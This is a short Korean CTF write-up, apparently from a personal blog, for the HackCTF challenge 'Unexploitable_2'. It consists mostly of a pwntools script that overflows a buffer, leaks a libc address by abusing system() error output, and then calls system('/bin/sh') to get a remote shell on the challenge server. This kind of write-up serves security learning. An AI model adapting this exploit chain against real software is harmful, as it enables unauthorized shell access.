-
system 함수를 puts함수처럼 사용한다는 점이 재밌는 문제였다.
처음에 libcbase를 사용하지 않고, 적절히 stdin등을 이용해서 rop만으로 풀려고했는데 도저히 안되서 다시 생각해보니, system함수를 sh:1:xxxxx이런 식으로 이용해서 libc 주소를 leak하더라...
from pwn import* #p = process("./Unexploitable_2") p = remote("ctf.j0n9hyun.xyz",3029) e = ELF('./Unexploitable_2') poprdiret = 0x400773 gift = 0x40067f got = 0x601018 pay = "a" * 0x18 #0x18 pay += p64(poprdiret) #0x20 pay += p64(got) #0x28 pay += p64(gift) #0x30 pause() p.sendlineafter("str!\n",pay) addr = p.recvuntil("not") addr = (u64(addr[-11:-5]+"\x00\x00")) - 0x45390 #for 18.04 0x4f440 log.info("libc base: " + hex(addr)) system = addr + 0x45390 #0x4f440 binsh = addr + 0x18cd57 #0x1b3e9a pay2 = "a" * 0x18 #0x18 pay2 += p64(poprdiret) #0x20 pay2 += p64(binsh) #0x28 pay2 += p64(system) #0x30 p.sendlineafter("str!\n", pay2) p.interactive()```
'Writeup > Wargame_Writeup' 카테고리의 다른 글
[Reversing.kr] 5_Replace.exe (0) 2020.02.04 HackCTF j0n9hyun's secret (0) 2020.01.23 [Flare-on 2019] Reloadered (0) 2020.01.21 [Flare-on 2019] Snake (0) 2020.01.21 [Flare-on 2019] Demo (0) 2020.01.21 댓글